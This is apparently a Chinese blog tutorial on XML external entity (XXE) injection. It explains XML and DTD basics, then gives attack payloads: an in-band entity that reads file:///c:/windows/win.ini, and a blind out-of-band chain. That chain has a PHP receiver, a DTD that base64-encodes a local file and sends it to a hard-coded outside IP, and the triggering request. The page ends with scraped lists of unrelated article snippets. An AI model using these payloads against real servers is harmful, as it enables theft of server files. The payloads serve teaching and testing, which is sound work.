xxe-xml外部实体注入
XML文件格式及作用
copy至:https://www.runoob.com/xml/xml-tutorial.html
学习xxe为什么要了解XML和DTD,直接跳至Xxe查看;
定义&作用:
XML 指可扩展标记语言(eXtensible Markup Language)。
XML 被设计用来传输和存储数据。
格式:
<?xml version="1.0" encoding="ISO-8859-1"?> //声明
<note> //根元素
<to>**Tove**</to> //子元素
<from>**Jani**</from>
<heading>**Reminder**</heading>
<body>**Don't forget me this weekend!**</body>
</note>
DTD
定义&作用:
文档类定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部:
<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note [ //DTD声明定义
<!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
外部:
<!DOCTYPE root-element SYSTEM "filename">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> //DTD外部链接
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
外部文件内容:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD通用实体
定义&作用
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
内部实体
语法
<!ENTITY entity-name "entity-value">
实例
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例引用DTD:
<author>&writer;©right;</author>
//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
外部实体
语法
<!ENTITY entity-name SYSTEM "URI/URL">
实例
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML 实例引用DTD:
<author>&writer;©right;</author>
完整的DTD例子
copy自: http://www.vervet.com/
<!DOCTYPE CATALOG [
<!ENTITY AUTHOR "John Doe">
<!ENTITY COMPANY "JD Power Tools, Inc.">
<!ENTITY EMAIL "jd@jd-tools.com">
<!ELEMENT CATALOG (PRODUCT+)>
<!ELEMENT PRODUCT
(SPECIFICATIONS+,OPTIONS?,PRICE+,NOTES?)>
<!ATTLIST PRODUCT
NAME CDATA #IMPLIED
CATEGORY (HandTool|Table|Shop-Professional) "HandTool"
PARTNUM CDATA #IMPLIED
PLANT (Pittsburgh|Milwaukee|Chicago) "Chicago"
INVENTORY (InStock|Backordered|Discontinued) "InStock">
<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ATTLIST SPECIFICATIONS
WEIGHT CDATA #IMPLIED
POWER CDATA #IMPLIED>
<!ELEMENT OPTIONS (#PCDATA)>
<!ATTLIST OPTIONS
FINISH (Metal|Polished|Matte) "Matte"
ADAPTER (Included|Optional|NotApplicable) "Included"
CASE (HardShell|Soft|NotApplicable) "HardShell">
<!ELEMENT PRICE (#PCDATA)>
<!ATTLIST PRICE
MSRP CDATA #IMPLIED
WHOLESALE CDATA #IMPLIED
STREET CDATA #IMPLIED
SHIPPING CDATA #IMPLIED>
<!ELEMENT NOTES (#PCDATA)>
]>
DTD参数实体
- 使用
% 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;引用 - 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
Xxe
原理
XML External Entity (XXE) Processing是 XML 外部实体注入;
我们可以控制的点就是上面的DTD实体(包括通用实体和参数实体),外部实体类似于一个XML的包含,我们可以包含我们想要的东西;
如果您的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么您很有可能会遭到XXE的攻击。
XXE能做什么
- 读文件
- 扫描端口
- 命令执行
Payload
有回显
<?xml version="1.0"?>
<!DOCTYPE p0laris [ //p0laris随便写
<!ENTITY test SYSTEM "file:///c:/windows/win.ini"> //test内部实体名称随便写,file后面接的你要读取的文件
]>
<xxx>&test</xxx> //xxx标签名字要使用数据包中的原生标签,&test引用
无回显_Blind XXE,需目标主动发送数据到服务器
VPS部署:
- test.php
<?php
$ipd = $_SERVER["REMOTE_ADDR"]? $_SERVER["REMOTE_ADDR"] : "";
if($ipd){
$a = empty($_GET['a'])? "" : $_GET['a'];
$t = empty($_SERVER['HTTP_REFERER'])? "" : $_SERVER['HTTP>REFERER'];
$txt = htmlspecialchars($ipd."--".$a."--".$_SERVER['REQUEST_URI']."--".$t."\r\n");
$n = fopen("test.txt","a+");
# $x = fwrite($n,$txt);
}
- test.txt : 用来接收上面php发过来的参数;
- test.dtd
<!ENTITY % pe2 SYSTEM "php://filter/read=convert.base64-encode/resource=C:/1.txt">
<!ENTITY % pe1 "<!ENTITY ge1 SYSTEM 'http://175.24.2.43/test.php?i=%pe2;'>">
%pe1;
- 发送的payload:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % pe3 SYSTEM "http://x.x.x.x/test.dtd">
%pe3;
]>
<aa>&ge1;</aa>
- 过程,先调用pe3,到服务器获取test.dtd文件,调用pe1,调用pe2,读取本地文件,访问test.php带着pe2作为参数发送给服务器,test.php解析后写入test.txt;
xxe-xml外部实体注入的更多相关文章
- CTF中关于XXE(XML外部实体注入)题目两道
题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...
- 应用安全-XXE(XML外部实体注入)攻防整理
libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE攻防——XML外部实体注入
XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的 ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- 【研究】XML外部实体注入(XXE)
在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...
- 【XXE学习】XML外部实体注入
一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...
- 微信支付的JAVA SDK存在漏洞,可导致商家服务器被入侵(绕过支付)XML外部实体注入防护
XML外部实体注入 例: InputStream is = Test01.class.getClassLoader().getResourceAsStream("evil.xml" ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
随机推荐
- Java 8新特性(四):新的时间和日期API
Java 8另一个新增的重要特性就是引入了新的时间和日期API,它们被包含在java.time包中.借助新的时间和日期API可以以更简洁的方法处理时间和日期. 在介绍本篇文章内容之前,我们先来讨论Ja ...
- php 解决表单重复提交实现方法介绍
重复提交是我们开发中会常碰到的一个问题,除了我们使用js来防止表单的重复提交,同时还可以使用php来防止重复提交哦. 例1 代码如下 复制代码 <?php/* * php中如何防止表单的重复提 ...
- MacOS上的效率设置--Windows转移过来的小白设置
1 Copy Path Mac上面的文件管理并不像Windows那么的直观,经常需要指定文件路径时,总是去右键-简介获取相当的费劲.Mac之所以称之为生产力工具,优势就在于此了.利用自动操作的功能就能 ...
- 使用Seq搭建免费的日志服务
Seq简介 Seq是老外开发的一个针对.NET平台非常友好的日志服务.支持容器部署,提供一个单用户免费的开发版本. 官网:https://datalust.co/seq 使用文档:https://do ...
- Apache Hudi 0.6.0版本重磅发布
1. 下载信息 源码:Apache Hudi 0.6.0 Source Release (asc, sha512) 二进制Jar包:nexus 2. 迁移指南 如果您从0.5.3以前的版本迁移至0.6 ...
- 移动web开发之布局
移动web开发流式布局 1.0 移动端基础 1.1浏览器现状 PC端常见浏览器:360浏览器.谷歌浏览器.火狐浏览器.QQ浏览器.百度浏览器.搜狗浏览器.IE浏览器. 移动端常见浏览器:UC浏览器,Q ...
- 【Linux利用远程SSH连接】SecureCRT中文出现乱码解决办法 Linux服务器技术
1. 修改远程linux机器的配置 vim /etc/sysconfig/i18n 把LANG改成支持UTF-8的字符集 如: LANG="zh_CN.UTF-8″ 或者 ...
- Kubernetes K8S之资源控制器Job和CronJob详解
Kubernetes的资源控制器Job和CronJob详解与示例 主机配置规划 服务器名称(hostname) 系统版本 配置 内网IP 外网IP(模拟) k8s-master CentOS7.7 2 ...
- 03 父子组件sync&update
父组件传给子组件是基本数据类型. 父组件 <template> <el-container class="consele-container"> <e ...
- OpenvSwitch系列之七 meter表限速
Open vSwitch系列之一 Open vSwitch诞生 Open vSwitch系列之二 安装指定版本ovs Open vSwitch系列之三 ovs-vsctl命令使用 Open vSwit ...